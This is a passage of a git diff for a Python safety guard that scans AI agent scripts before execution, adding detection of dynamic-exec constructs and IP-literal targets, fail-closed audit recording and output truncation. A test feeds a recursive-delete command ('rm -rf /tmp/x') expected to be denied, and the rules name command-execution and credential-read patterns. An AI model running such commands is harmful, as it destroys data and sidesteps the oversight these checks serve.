asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert "FILE001_RECURSIVE_DELETE" in result.output + + +def test_executor_never_delegates_deny_when_review_is_non_blocking( + strict_policy_dict, +): + policy_dict = strict_policy_dict.copy() + policy_dict["defaults"] = {"human_review_blocks_execution": False} + guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + called = [] + + class FakeInput: + code_blocks = [type("Block", (), { + "language": "bash", "code": "rm -rf /tmp/x", + })()] + + class FakeExecutor: + async def execute_code(self, inp): + called.append(True) + return {"outcome": "SUCCESS", "output": "ran"} + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert called == [] + assert "FILE001_RECURSIVE_DELETE" in result.output + + def test_executor_truncates_output(guard): class FakeInput: code_blocks = [type("Block", (), {"code": "print('hi')"})()] @@ -121,7 +217,26 @@ async def execute_code(self, inp): wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), audit_sink=InMemoryAuditSink()) result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 - assert len(result.output) < 4096 + assert len(result.output.encode("utf-8")) <= guard.policy.limits.max_output_bytes + + +def test_executor_truncates_dict_output(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["limits"] = dict(policy_dict["limits"]) + policy_dict["limits"]["max_output_bytes"] = 8 + guard = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + + class FakeInput: + code_blocks = [type("Block", (), {"code": "print('hi')"})()] + + class FakeExecutor: + async def execute_code(self, inp): + return {"outcome": "SUCCESS", "output": "x" * 32} + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert len(result["output"].encode("utf-8")) <= 8 # Need asyncio.run helper diff --git a/tool/safety/_bash_scanner.py b/tool/safety/_bash_scanner.py index 8410e1ca..ab677be5 100644 --- a/tool/safety/_bash_scanner.py +++ b/tool/safety/_bash_scanner.py @@ -447,6 +447,27 @@ def _handle_command(self, preceding_op: str, line: int, col: int, )) return + # These constructs make a second program or command stream execute + # outside the script currently being scanned. Do not claim that the + # outer command is safe merely because its executable is allowlisted. + if exec_lower in {"source", "."}: + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="source-file", + )) + return + if exec_lower == "xargs": + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="xargs-command-stream", + )) + return + if exec_lower == "find" and any( + arg in {"-exec", "-execdir", "-ok", "-okdir"} + for arg in argv): + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="find-exec", + )) + return + # eval / bash -c / sh -c if exec_lower == "eval": self.dynamic_execs.append(DynamicExecFact( @@ -464,6 +485,28 @@ def _handle_command(self, preceding_op: str, line: int, col: int, operator=f"{exec_lower} -c", )) return + if _is_python_pip_install(exec_lower, argv): + self.dependency_installs.append(DependencyInstallFact( + snippet=snippet, + loc=loc, + manager=argv[1], + command=" ".join([executable] + argv), + )) + self.process_calls.append(ProcessFact( + snippet=snippet, + loc=loc, + command=executable, + shell=None, + has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + if exec_lower in _INTERPRETERS and _interpreter_runs_payload(argv): + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, + loc=loc, + kind=f"{exec_lower}-payload", + )) + return # sleep if exec_lower == "sleep": @@ -663,6 +706,30 @@ def _parse_sleep(raw: str) -> float | None: return None +def _is_python_pip_install(executable: str, argv: list[str]) -> bool: + if executable not in {"python", "python2", "python3"}: + return False + try: + module_index = argv.index("-m") + except ValueError: + return False + return module_index + 2 < len(argv) \ + and argv[module_index + 1] in {"pip", "pip3"} \ + and argv[module_index + 2] == "install" + + +def _interpreter_runs_payload(argv: list[str]) -> bool: + """Return whether an interpreter is being asked to run external code.""" + + for arg in argv: + if arg in {"-c", "-m"}: + return True + if arg.startswith("-"): + continue + return True + return False + + def _extract_dd_size(argv: list[str]) -> int | None: for arg in argv: if arg.startswith("bs=") or arg.startswith("count="): diff --git a/tool/safety/_cross_field_scanner.py b/tool/safety/_cross_field_scanner.py index 2b9eee0a..69e0996d 100644 --- a/tool/safety/_cross_field_scanner.py +++ b/tool/safety/_cross_field_scanner.py @@ -22,7 +22,6 @@ ) from tool.safety._policy import ( ToolSafetyPolicy, - is_sensitive_env_key, match_path_glob, normalize_script_path_for_match, ) @@ -38,7 +37,6 @@ _CWD_RULE_ID = "FILE002_DENIED_WRITE" _TIMEOUT_RULE_ID = "RES003_LONG_SLEEP" _ARGV_RULE_ID = "PROC001_PROCESS_EXEC" -_ENV_RULE_ID = "SECRET001_LOG_SINK" _TOOL_MAPPING_RULE_ID = "PARSE001_UNCERTAIN" @@ -57,7 +55,6 @@ def scan( findings.extend(self._check_cwd(request, policy, redactor)) findings.extend(self._check_timeout(request, policy, redactor)) findings.extend(self._check_argv(request, policy, redactor)) - findings.extend(self._check_env_secrets(request, policy, redactor)) findings.extend(self._check_tool_mapping(request, policy, redactor)) findings.extend(self._check_output_budget(request, policy, redactor)) return findings @@ -181,45 +178,6 @@ def _check_argv( )) return findings - def _check_env_secrets( - self, - request: SafetyScanRequest, - policy: ToolSafetyPolicy, - redactor: Redactor, - ) -> list[SafetyFinding]: - if not request.env: - return [] - findings: list[SafetyFinding] = [] - # We do not know whether a secret actually flows out via the script, - # but if the script also writes to output/file/network and the env - # set contains sensitive keys, flag as needs_human_review so a human - # confirms intent. Pure existence of a secret key is *not* a deny. - sensitive_keys = sorted({ - key for key in request.env - if is_sensitive_env_key(key, policy.sensitive_env_key_patterns) - }) - if not sensitive_keys: - return [] - decision = resolve_decision( - _ENV_RULE_ID, - SafetyDecision.NEEDS_HUMAN_REVIEW, - policy, - ) - if decision == SafetyDecision.ALLOW: - return [] - findings.append(_finding( - rule_id=_ENV_RULE_ID, - category=RiskCategory.SECRET, - risk=RiskLevel.MEDIUM, - decision=decision, - snippet=f"env contains {len(sensitive_keys)} sensitive key(s)", - language=ScriptLanguage.UNKNOWN, - redactor=redactor, - recommendation="Confirm that sensitive env values are not forwarded to sinks.", - extras={"keys": ",".join(sorted(sensitive_keys))}, - )) - return findings - def _check_tool_mapping( self, request: SafetyScanRequest, diff --git a/tool/safety/_filter.py b/tool/safety/_filter.py index 092a40be..bc3f308f 100644 --- a/tool/safety/_filter.py +++ b/tool/safety/_filter.py @@ -1,11 +1,11 @@ """Pre-execution safety filter. -This filter demonstrates the seam where the guard plugs into the Tool / -Skill execution pipeline. It is duck-typed to the framework's BaseFilter -interface (``_before``/``_after``) so it can be composed with the -existing filter runner without modifying SDK files, and it carries the -``terminal_before_handler`` marker so a future framework opt-in can -order it after ToolCallbackFilter. +This adapter demonstrates the seam where the guard plugs into a Tool / +Skill execution pipeline. Its ``_before``/``_after`` hooks mirror the +framework filter shape, but it is deliberately standalone and is not a +drop-in ``BaseFilter`` under the current SDK ordering rules. Use the wrapper +for present-day enforcement; a future terminal phase can invoke this adapter +after callback mutations have completed. For environments where direct framework wiring is not yet available, the :class:`ToolScriptSafetyFilter` also exposes a synchronous @@ -17,12 +17,12 @@ import asyncio import contextvars import datetime as _dt -from typing import Any, Awaitable, Callable, Mapping +import logging +from typing import Any, Coroutine, Mapping, TypeVar from tool.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink from tool.safety._exceptions import ( SafetyAuditError, - SafetyGuardError, ToolRequestError, ) from tool.safety._guard import ToolSafetyGuard @@ -45,6 +45,8 @@ # is the sanitized arguments to emit on the next ``trace_tool_call``. _trace_args_var: contextvars.ContextVar[tuple[str, ...] | None] = \ contextvars.ContextVar("tool_safety_trace_args", default=None) +_LOGGER = logging.getLogger(__name__) +_ResultT = TypeVar("_ResultT") class BlockedExecutionError(Exception): @@ -69,21 +71,17 @@ class ToolScriptSafetyFilter: flt = ToolScriptSafetyFilter(guard, audit_sink=JsonlAuditSink(...)) decision, report = flt.check("workspace_exec", {"command": "ls"}) - Usage (duck-typed to BaseFilter for future framework integration):: - - # When the framework exposes the terminal ordering seam, just - # pass an instance of this filter in the filters list: - tool = WorkspaceExecTool(filters=[flt]) + The ``_before``/``_after`` hooks are reserved for a future SDK terminal + phase. Do not add this object to today's ``filters=`` list: ordinary + callbacks can still mutate arguments after the configured filters run. The filter follows the plan's ``fail-closed`` posture: ``deny`` and un-approved ``needs_human_review`` block execution; audit failures block execution when ``policy.audit.required`` is true. """ - # Marker for the future terminal-phase seam. The framework's - # FilterRunner will read this attribute to order the filter after - # ToolCallbackFilter. Defaults to True because the safety filter is - # always terminal. + # Metadata for the future terminal-phase seam. It has no effect until the + # framework explicitly implements terminal ordering. terminal_before_handler: bool = True def __init__( @@ -104,7 +102,7 @@ def __init__( self._builtin = builtin_adapters or build_default_adapters(self.policy) # ------------------------------------------------------------------ # - # Synchronous API (used by wrapper) + # Decision-and-recording interface # ------------------------------------------------------------------ # def check( @@ -121,20 +119,36 @@ def check( Callers that want fail-closed behavior should use ``enforce``. """ - adapter = resolve_adapter(tool_name, self.policy, - builtin=self._builtin) - request = adapter.build_request( - args, metadata=metadata, - ) if _looks_like_args_dict(args) else _build_request_from_raw( - tool_name, tool_kind, args, adapter, - ) - request = request.model_copy(update={"tool_kind": tool_kind}) \ - if request.tool_kind == ToolKind.UNKNOWN else request + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return self._run_sync(self.check_request_async(request)) + + async def check_async( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> tuple[SafetyDecision, SafetyReport]: + """Async form of :meth:`check` that waits for required audit I/O.""" + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return await self.check_request_async(request) + + def check_request( + self, request: SafetyScanRequest, + ) -> tuple[SafetyDecision, SafetyReport]: + """Scan and record an already-normalized request synchronously.""" + return self._run_sync(self.check_request_async(request)) + + async def check_request_async( + self, request: SafetyScanRequest, + ) -> tuple[SafetyDecision, SafetyReport]: + """Scan and durably record an already-normalized request.""" report = self.guard.scan(request) - blocked = report.decision in ( - SafetyDecision.DENY, SafetyDecision.NEEDS_HUMAN_REVIEW, - ) and self.policy.defaults.human_review_blocks_execution - self._after_scan(request, report, blocked=blocked) + blocked = self.blocks_execution(report) + await self.record_report_async(request, report, blocked=blocked) return report.decision, report def enforce( @@ -152,9 +166,32 @@ def enforce( reached. """ - decision, report = self.check( - tool_name, args, tool_kind=tool_kind, metadata=metadata, - ) + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return self.enforce_request(request) + + async def enforce_async( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> SafetyReport: + """Async form of :meth:`enforce` for async delegates.""" + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return await self.enforce_request_async(request) + + def enforce_request(self, request: SafetyScanRequest) -> SafetyReport: + """Fail closed unless the normalized request is allowed and audited.""" + return self._run_sync(self.enforce_request_async(request)) + + async def enforce_request_async( + self, request: SafetyScanRequest, + ) -> SafetyReport: + """Async fail-closed form of :meth:`enforce_request`.""" + decision, report = await self.check_request_async(request) if decision == SafetyDecision.ALLOW: return report if decision == SafetyDecision.NEEDS_HUMAN_REVIEW \ @@ -179,14 +216,18 @@ async def _before(self, ctx: Any, req: Any, rsp: Any) -> None: args = _resolve_args(req) tool_kind = _resolve_tool_kind(ctx, req) try: - _, report = self.check(tool_name, args, tool_kind=tool_kind) + _, report = await self.check_async( + tool_name, args, tool_kind=tool_kind) except ToolRequestError as exc: - self._emit_guard_error(tool_name, exc) + request = SafetyScanRequest( + tool_name=tool_name, + tool_kind=tool_kind, + script="", + ) + report = self.guard.error_report(request, exc) + await self.record_report_async(request, report, blocked=True) _set_filter_continue(rsp, False) - _set_filter_rsp(rsp, { - "error": "tool_request_error", - "message": str(exc), - }) + _set_filter_rsp(rsp, _render_block(report)) return if report.decision == SafetyDecision.ALLOW: _set_filter_continue(rsp, True) @@ -209,20 +250,25 @@ async def _after(self, ctx: Any, req: Any, rsp: Any) -> None: # Internals # ------------------------------------------------------------------ # - def _after_scan( + async def record_report_async( self, request: SafetyScanRequest, report: SafetyReport, *, blocked: bool, ) -> None: - # Telemetry first so attributes land on the active span even if - # audit write fails. + """Record telemetry and await the audit event before execution.""" + + # Telemetry is best effort; audit is the enforcement-critical side + # effect and therefore is awaited below. sink = self._telemetry or get_default_sink() try: sink.record(report, tool_name=request.tool_name, blocked=blocked) - except Exception: # pragma: no cover - defensive - pass + except (AttributeError, RuntimeError, TypeError) as exc: + _LOGGER.warning( + "tool safety telemetry recording failed: %s", + type(exc).__name__, + ) event = build_audit_event( report=report, tool_name=request.tool_name, @@ -231,18 +277,7 @@ def _after_scan( timestamp=_utc_now_iso(), ) try: - # The audit sink protocol is async; run it via asyncio when - # there is a running loop, otherwise schedule a new one. - try: - loop = asyncio.get_running_loop() - except RuntimeError: - loop = None - if loop is None: - asyncio.run(self.audit_sink.emit(event)) - else: - # We are inside a loop; the wrapper already runs async. - # Schedule the emit but do not block the sync ``check``. - asyncio.ensure_future(self.audit_sink.emit(event)) + await self.audit_sink.emit(event) except SafetyAuditError: if self.policy.audit.required: # Re-raise so the wrapper's fail-closed path engages. @@ -251,11 +286,46 @@ def _after_scan( if self.policy.audit.required: raise SafetyAuditError("unexpected audit emit failure") - def _emit_guard_error(self, tool_name: str, exc: Exception) -> None: - # ToolRequestError means we couldn't even build a request. Fail - # closed by emitting an audit-shaped event and letting the caller - # decide how to render the block. - return None + def _build_request( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind, + metadata: Mapping[str, Any] | None, + ) -> SafetyScanRequest: + adapter = resolve_adapter(tool_name, self.policy, + builtin=self._builtin) + request = adapter.build_request( + args, metadata=metadata, + ) if _looks_like_args_dict(args) else _build_request_from_raw( + tool_name, tool_kind, args, adapter, + ) + if request.tool_kind == ToolKind.UNKNOWN: + return request.model_copy(update={"tool_kind": tool_kind}) + return request + + def _run_sync( + self, + coroutine: Coroutine[Any, Any, _ResultT], + ) -> _ResultT: + try: + asyncio.get_running_loop() + except RuntimeError: + return asyncio.run(coroutine) + coroutine.close() + raise SafetyAuditError( + "synchronous safety enforcement cannot run inside an event loop; " + "use the async interface so required audit I/O is awaited" + ) + + def blocks_execution(self, report: SafetyReport) -> bool: + """Return whether policy requires this report to block execution.""" + + return report.decision == SafetyDecision.DENY or ( + report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + and self.policy.defaults.human_review_blocks_execution + ) def _set_trace_args( self, diff --git a/tool/safety/_guard.py b/tool/safety/_guard.py index 33855398..f05872bf 100644 --- a/tool/safety/_guard.py +++ b/tool/safety/_guard.py @@ -22,7 +22,7 @@ SafetyScanRequest, ) from tool.safety._policy import POLICY_VERSION, ToolSafetyPolicy -from tool.safety._redaction import Redactor +from tool.safety._redaction import Redactor, evidence_was_redacted from tool.safety._rules import SafetyRule, default_rules INTERNAL_ERROR_RULE_ID = "GUARD001_INTERNAL_ERROR" @@ -81,6 +81,22 @@ def scan(self, request: SafetyScanRequest) -> SafetyReport: elapsed_ms = (time.perf_counter() - started) * 1000.0 return self._build_report(request, findings, elapsed_ms, redactor) + def error_report( + self, + request: SafetyScanRequest, + error: Exception, + ) -> SafetyReport: + """Create a fail-closed report when request normalization fails. + + The execution adapters use this instead of dropping an audit event + when they cannot construct a complete scan request. + """ + started = time.perf_counter() + redactor = Redactor(env_values=request.env.values()) + finding = self._internal_error_finding(error, redactor, request) + elapsed_ms = (time.perf_counter() - started) * 1000.0 + return self._build_report(request, [finding], elapsed_ms, redactor) + # ----- internals ----- # def _validate_rule_ids(self) -> None: @@ -174,7 +190,10 @@ def _build_report( policy_version=self.policy_version, script_sha256=script_sha, scan_duration_ms=elapsed_ms, - redacted=redactor.active, + redacted=redactor.active or any( + evidence_was_redacted(finding.evidence) + for finding in findings + ), ) diff --git a/tool/safety/_python_scanner.py b/tool/safety/_python_scanner.py index 7690c475..1268ba52 100644 --- a/tool/safety/_python_scanner.py +++ b/tool/safety/_python_scanner.py @@ -38,6 +38,7 @@ from tool.safety._models import ScriptLanguage from tool.safety._rules import _LanguageScannerRule, SafetyRule from tool.safety._policy import is_sensitive_env_key +from tool.safety._redaction import contains_secret_literal # Networks libs and the attribute used to extract a host arg. @@ -917,8 +918,12 @@ def _tainted_flows_into_call(self, node: ast.Call) -> bool: return False def _expr_tainted(self, node: ast.AST) -> bool: + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return contains_secret_literal(node.value) if isinstance(node, ast.Name): return node.id in self._tainted + if isinstance(node, ast.Subscript): + return self._secret_source_label(node) is not None if isinstance(node, ast.JoinedStr): return any(self._expr_tainted(v) for v in node.values) if isinstance(node, ast.FormattedValue): diff --git a/tool/safety/_redaction.py b/tool/safety/_redaction.py index 851f6167..66a8c110 100644 --- a/tool/safety/_redaction.py +++ b/tool/safety/_redaction.py @@ -53,6 +53,7 @@ _PLACEHOLDER = "" _ENV_PLACEHOLDER = "" +_REDACTION_MARKER = " str: @@ -74,11 +75,11 @@ def __init__(self, env_values: Iterable[str] = (), *, # substrings of the same value can match. values = sorted({v for v in env_values if v}, key=len, reverse=True) self._env_values = values - self._active = bool(values) + self._active = False @property def active(self) -> bool: - """Whether any env values were registered for redaction.""" + """Whether this redactor has replaced a secret in emitted evidence.""" return self._active @@ -92,8 +93,12 @@ def redact(self, text: str) -> str: if value and value in redacted: placeholder = _ENV_PLACEHOLDER.format(digest=_digest(value)) redacted = redacted.replace(value, placeholder) + self._active = True for kind, pattern in _SECRET_PATTERNS: + before = redacted redacted = _apply_pattern(redacted, kind, pattern) + if redacted != before: + self._active = True return redacted def truncate(self, text: str) -> str: @@ -146,6 +151,26 @@ def _sub(match: re.Match[str]) -> str: return pattern.sub(_sub, text) +def contains_secret_literal(value: str) -> bool: + """Return whether a string literal resembles a credential. + + This is intentionally shared with :class:`Redactor` so a literal that is + blocked as a potential leak is guaranteed to be redacted in its evidence. + """ + + return any(pattern.search(value) is not None + for _, pattern in _SECRET_PATTERNS) + + +def evidence_was_redacted(evidence: Evidence) -> bool: + """Return whether serialized evidence contains a redaction placeholder.""" + + if _REDACTION_MARKER in evidence.snippet: + return True + return any(_REDACTION_MARKER in value + for value in evidence.extras.values()) + + def make_default_redactor(env_values: Iterable[str] = ()) -> Redactor: """Convenience constructor used by the guard.""" diff --git a/tool/safety/_rules.py b/tool/safety/_rules.py index d2f8978a..46ee9bf0 100644 --- a/tool/safety/_rules.py +++ b/tool/safety/_rules.py @@ -11,6 +11,7 @@ from __future__ import annotations +import ipaddress from typing import Iterable, Protocol, Sequence, runtime_checkable from tool.safety._facts import ( @@ -301,6 +302,43 @@ def check_network_non_allowlist( return out +def check_network_ip_literals( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + """Reject literal IP targets when the policy disables them. + + This remains separate from the domain allowlist rule: an operator may + deliberately allow a loopback IP for a local test service, but still + choose whether IP literals are globally acceptable. + """ + + if not policy.network.deny_ip_literals: + return [] + out: list[SafetyFinding] = [] + for fact in facts.network_calls: + if fact.dynamic or not _is_ip_literal(fact.target): + continue + decision = resolve_decision( + "NET003_IP_LITERAL", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="NET003_IP_LITERAL", + category=RiskCategory.NETWORK, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Use an explicitly allowlisted DNS name instead of an IP literal.", + extras={"host": fact.target, "library": fact.library}, + )) + return out + + def check_network_dynamic_target( facts: ScriptFacts, policy: ToolSafetyPolicy, @@ -645,8 +683,8 @@ def check_concurrency( redactor: Redactor, ) -> list[SafetyFinding]: out: list[SafetyFinding] = [] - threshold = policy.limits.max_parallel_tasks for fact in facts.concurrency: + threshold = _concurrency_limit_for(fact, policy) if fact.count is None: decision = resolve_decision( "RES004_CONCURRENCY", @@ -872,6 +910,7 @@ def check_dynamic_exec( check_file_credential_read, check_file_dotenv_read, check_network_non_allowlist, + check_network_ip_literals, check_network_dynamic_target, check_process_exec, check_shell_injection, @@ -964,6 +1003,29 @@ def _first_token(command: str) -> str: return command.strip().split()[0] if command.strip() else "" +def _is_ip_literal(host: str) -> bool: + try: + ipaddress.ip_address(host.strip("[]")) + except ValueError: + return False + return True + + +def _concurrency_limit_for( + fact: ConcurrencyFact, + policy: ToolSafetyPolicy, +) -> int: + process_primitives = { + "multiprocessing.Process", + "multiprocessing.Pool", + "concurrent.futures.ProcessPoolExecutor", + "background-jobs", + } + if fact.raw in process_primitives: + return policy.limits.max_processes + return policy.limits.max_parallel_tasks + + # Read-only / informational Bash commands that are exempt from PROC001. # Other rules (file read of credentials, secret flow, network checks) # still apply when these commands touch sensitive targets. diff --git a/tool/wrapper.py b/tool/wrapper.py index a28358ef..835d7b8f 100644 --- a/tool/wrapper.py +++ b/tool/wrapper.py @@ -21,14 +21,12 @@ import asyncio import inspect -from typing import Any, Awaitable, Callable, Generic, TypeVar +from typing import Any, Callable, Generic, Mapping, TypeVar from tool.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink from tool.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter from tool.safety._guard import ToolSafetyGuard from tool.safety._models import ( - RiskLevel, - SafetyDecision, SafetyReport, SafetyScanRequest, ScriptLanguage, @@ -69,6 +67,9 @@ def __init__( cwd_kw: str | None = None, env_kw: str | None = None, timeout_kw: str | None = None, + argv_kw: str | None = None, + metadata_kw: str | None = None, + output_bytes_kw: str | None = None, filter: ToolScriptSafetyFilter | None = None, ) -> None: if (script_kw is None) == (script_pos is None): @@ -84,6 +85,9 @@ def __init__( self.cwd_kw = cwd_kw self.env_kw = env_kw self.timeout_kw = timeout_kw + self.argv_kw = argv_kw + self.metadata_kw = metadata_kw + self.output_bytes_kw = output_bytes_kw self._filter = filter or ToolScriptSafetyFilter( guard, audit_sink=_default_audit_sink(guard.policy)) @@ -96,7 +100,7 @@ def __call__(self, *args: Any, **kwargs: Any) -> T: _ = report # caller can inspect via last_report async def call_async(self, *args: Any, **kwargs: Any) -> T: - report = self._enforce(args, kwargs) + report = await self._enforce_async(args, kwargs) result = self.delegate(*args, **kwargs) if inspect.isawaitable(result): return await result @@ -111,28 +115,45 @@ def _enforce( args: tuple[Any, ...], kwargs: dict[str, Any], ) -> SafetyReport: + request = self._build_request(args, kwargs) + return self._filter.enforce_request(request) + + async def _enforce_async( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> SafetyReport: + request = self._build_request(args, kwargs) + return await self._filter.enforce_request_async(request) + + def _build_request( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> SafetyScanRequest: script = self._extract_script(args, kwargs) cwd = kwargs.get(self.cwd_kw) if self.cwd_kw else None env = kwargs.get(self.env_kw) if self.env_kw else None timeout = kwargs.get(self.timeout_kw) if self.timeout_kw else None - request = SafetyScanRequest( + argv = kwargs.get(self.argv_kw) if self.argv_kw else None + metadata = kwargs.get(self.metadata_kw) if self.metadata_kw else None + output_bytes = kwargs.get(self.output_bytes_kw) \ + if self.output_bytes_kw else None + return SafetyScanRequest( tool_name=self.tool_name, tool_kind=self.tool_kind, language=self.language, script=script or "", cwd=str(cwd) if cwd is not None else None, env={str(k): str(v) for k, v in (env or {}).items()} - if isinstance(env, dict) else {}, + if isinstance(env, Mapping) else {}, + argv=_coerce_argv(argv), + metadata=dict(metadata) if isinstance(metadata, Mapping) else {}, requested_timeout_seconds=float(timeout) if isinstance(timeout, (int, float)) else None, + requested_output_bytes=int(output_bytes) + if isinstance(output_bytes, int) else None, ) - report = self.guard.scan(request) - if report.decision == SafetyDecision.ALLOW: - return report - if report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW \ - and not self.guard.policy.defaults.human_review_blocks_execution: - return report - raise BlockedExecutionError(report) def _extract_script( self, @@ -204,28 +225,11 @@ async def execute_code(self, execution_input: Any) -> Any: policy_version=self.guard.policy_version, scan_duration_ms=sum(r.scan_duration_ms for r in reports), ) - blocked = combined.decision in ( - SafetyDecision.DENY, SafetyDecision.NEEDS_HUMAN_REVIEW, - ) and self.guard.policy.defaults.human_review_blocks_execution - # Audit - from tool.safety._telemetry import build_audit_event - event = build_audit_event( - report=combined, - tool_name=self.tool_name, - tool_kind=ToolKind.CODE_EXECUTOR, - execution_blocked=blocked, - timestamp=_utc_now_iso(), - ) - await self._filter.audit_sink.emit(event) + blocked = self._filter.blocks_execution(combined) + await self._filter.record_report_async( + requests[0], combined, blocked=blocked) if blocked: return _render_executor_block(combined) - if self.effective_timeout_seconds is not None \ - and self.effective_timeout_seconds \ - > self.guard.policy.limits.max_timeout_seconds: - return _make_failure_result( - f"effective_timeout_seconds={self.effective_timeout_seconds} " - f"exceeds policy max " - f"{self.guard.policy.limits.max_timeout_seconds}") result = await self.delegate.execute_code(execution_input) return _truncate_output(result, self.guard.policy.limits.max_output_bytes) @@ -233,13 +237,18 @@ async def execute_code(self, execution_input: Any) -> Any: def _build_requests(self, execution_input: Any) -> list[SafetyScanRequest]: blocks = _extract_code_blocks(execution_input) requests: list[SafetyScanRequest] = [] - for idx, block in enumerate(blocks): + for idx, (block, block_language) in enumerate(blocks): + language = block_language or self.language + metadata: dict[str, Any] = {"block_index": idx} + if language == ScriptLanguage.UNKNOWN: + metadata["execution_capable"] = True requests.append(SafetyScanRequest( tool_name=self.tool_name, tool_kind=ToolKind.CODE_EXECUTOR, - language=self.language, + language=language, script=block, - metadata={"block_index": idx}, + metadata=metadata, + requested_timeout_seconds=self.effective_timeout_seconds, )) return requests @@ -257,38 +266,75 @@ def _default_audit_sink(policy: ToolSafetyPolicy) -> AuditSink: return InMemoryAuditSink() -def _extract_code_blocks(execution_input: Any) -> list[str]: - """Pull a list of code strings from common input shapes.""" +def _coerce_argv(value: Any) -> tuple[str, ...]: + if isinstance(value, str): + return (value,) + if isinstance(value, (list, tuple)): + return tuple(str(item) for item in value) + return () + + +def _extract_code_blocks( + execution_input: Any, +) -> list[tuple[str, ScriptLanguage | None]]: + """Pull code and declared language from common execution-input shapes.""" if isinstance(execution_input, str): - return [execution_input] - if isinstance(execution_input, Mapping): # type: ignore[arg-type] + return [(execution_input, None)] + if isinstance(execution_input, Mapping): + blocks = _normalize_code_blocks(execution_input.get("code_blocks")) + if blocks: + return blocks code = execution_input.get("code") or execution_input.get("script") # type: ignore[union-attr] if isinstance(code, str): - return [code] + return [(code, _coerce_script_language( + execution_input.get("language")))] if isinstance(code, (list, tuple)): - return [str(b) for b in code] + return [(str(block), None) for block in code] code_blocks = getattr(execution_input, "code_blocks", None) if code_blocks is not None: - out: list[str] = [] - for block in code_blocks: - text = getattr(block, "code", None) - if isinstance(text, str): - out.append(text) - continue - if isinstance(block, str): - out.append(block) - continue - code_attr = getattr(block, "code", None) - if isinstance(code_attr, str): - out.append(code_attr) - return out + blocks = _normalize_code_blocks(code_blocks) + if blocks: + return blocks code_attr = getattr(execution_input, "code", None) if isinstance(code_attr, str): - return [code_attr] + return [(code_attr, _coerce_script_language( + getattr(execution_input, "language", None)))] return [] +def _normalize_code_blocks( + raw_blocks: Any, +) -> list[tuple[str, ScriptLanguage | None]]: + if not isinstance(raw_blocks, (list, tuple)): + return [] + blocks: list[tuple[str, ScriptLanguage | None]] = [] + for block in raw_blocks: + if isinstance(block, str): + blocks.append((block, None)) + continue + if isinstance(block, Mapping): + code = block.get("code") + language = block.get("language") + else: + code = getattr(block, "code", None) + language = getattr(block, "language", None) + if isinstance(code, str): + blocks.append((code, _coerce_script_language(language))) + return blocks + + +def _coerce_script_language(value: Any) -> ScriptLanguage | None: + if value is None or not str(value).strip(): + return None + normalized = str(value).strip().lower() + aliases = {"sh": "bash", "shell": "bash", "zsh": "bash", "py": "python"} + try: + return ScriptLanguage(aliases.get(normalized, normalized)) + except ValueError: + return ScriptLanguage.UNKNOWN + + def _make_failure_result(message: str) -> Any: return _ExecutorFailure(message) @@ -320,24 +366,28 @@ def _render_executor_block(report: SafetyReport) -> Any: def _truncate_output(result: Any, max_bytes: int) -> Any: if max_bytes <= 0: return result - output = getattr(result, "output", None) + output = result.get("output") if isinstance(result, Mapping) \ + else getattr(result, "output", None) if isinstance(output, str): encoded = output.encode("utf-8", errors="ignore") if len(encoded) <= max_bytes: return result - truncated = encoded[:max_bytes].decode("utf-8", errors="ignore") + marker = f"\n[truncated {len(encoded) - max_bytes} bytes]" + marker_bytes = marker.encode("utf-8") + if len(marker_bytes) >= max_bytes: + replacement = marker_bytes[:max_bytes].decode( + "utf-8", errors="ignore") + else: + prefix_bytes = encoded[:max_bytes - len(marker_bytes)] + prefix = prefix_bytes.decode("utf-8", errors="ignore") + replacement = prefix + marker + if isinstance(result, dict): + result["output"] = replacement + return result + if isinstance(result, Mapping): + return {**result, "output": replacement} try: - object.__setattr__(result, "output", - truncated + f"\n[truncated {len(encoded) - max_bytes} bytes]") + object.__setattr__(result, "output", replacement) except (AttributeError, TypeError): - return truncated + return replacement return result - - -def _utc_now_iso() -> str: - import datetime as _dt - return _dt.datetime.now(_dt.timezone.utc).isoformat() - - -# Re-export Mapping for the isinstance check above. -from typing import Mapping # noqa: E402 From 479df6bec07372056eac5616187ac4e9273498ec Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 15 Jul 2026 11:26:25 +0800 Subject: [PATCH 4/8] 